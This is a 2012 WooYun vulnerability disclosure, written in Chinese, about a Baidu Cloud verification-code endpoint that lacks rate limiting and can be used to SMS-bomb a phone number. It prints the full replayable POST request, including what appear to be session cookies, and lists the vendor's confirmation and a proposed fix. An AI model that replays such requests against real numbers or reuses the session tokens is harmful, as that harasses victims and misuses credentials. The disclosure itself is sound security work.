当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2012-015686

漏洞标题：百度云某功能模块短信炸弹

相关厂商：百度

漏洞作者： Nimda

提交时间：2012-12-07 07:42

修复时间：2013-01-21 07:43

公开时间：2013-01-21 07:43

漏洞类型：设计缺陷/逻辑错误

危害等级：低

自评Rank：3

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2012-12-07： 细节已通知厂商并且等待厂商处理中
2012-12-07： 厂商已经确认，细节仅向厂商公开
2012-12-17： 细节向核心白帽子及相关领域专家公开
2012-12-27： 细节向普通白帽子公开
2013-01-06： 细节向实习白帽子公开
2013-01-21： 细节向公众公开

简要描述：

百度云某功能模块短信炸弹

详细说明：

2.png


百度出了个活动，输入百度ID后需手机验证，发送验证码并抓包，重复发送可造成短信炸弹效果。
抓包结果如下：

POST https://yun.baidu.com/account/v1/api/sendacodenormal HTTP/1.1
Host: yun.baidu.com
Connection: keep-alive
Content-Length: 68
Origin: https://yun.baidu.com
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.4 (KHTML, like Gecko) Chrome/22.0.1229.79 Safari/537.4
Content-Type: application/x-www-form-urlencoded
Accept: application/json, text/javascript, */*; q=0.01
Referer: https://yun.baidu.com/account/app/create?u=https://wallet.baidu.com/active&refer=slogin
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8
Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3
Cookie: BAIDUID=D6B01607FEE49530988D849B4E0F5071:FG=1; BDUSS=AwQjFvTFdheXJHcnBQRE5LVkpJa0JvcFZsYnd6TTJPV0ZWclhFU2Iwc3FqSzFSQVFBQUFBJCQAAAAAAAAAAAoqxw3gSRsFSWNlc3dvcmSx-cjQAAAAAAAAAAAAAAAAAAAAAAAAAACAYIArMAAAALBmpXcAAAAA6p5DAAAAAAAxMC4yNi4xMCo-wFAqPsBQMn; Hm_lvt_e8064e7d32bf0e4cc5f9500a08bb9616=1354776109; Hm_lpvt_e8064e7d32bf0e4cc5f9500a08bb9616=1354776109
dest=/*我是手机号*/&ctk=8333a69b3999fc24289ec9d77d047e67&type=syncreate

漏洞证明：

1.jpg

修复方案：

在后台对手机发短信数量做限制。

版权声明：转载请注明来源 Nimda@乌云

漏洞回应

厂商回应：

危害等级：低

漏洞Rank：3

确认时间：2012-12-07 11:43

厂商回复：

感谢提交，我们马上安排处理。

最新状态：

暂无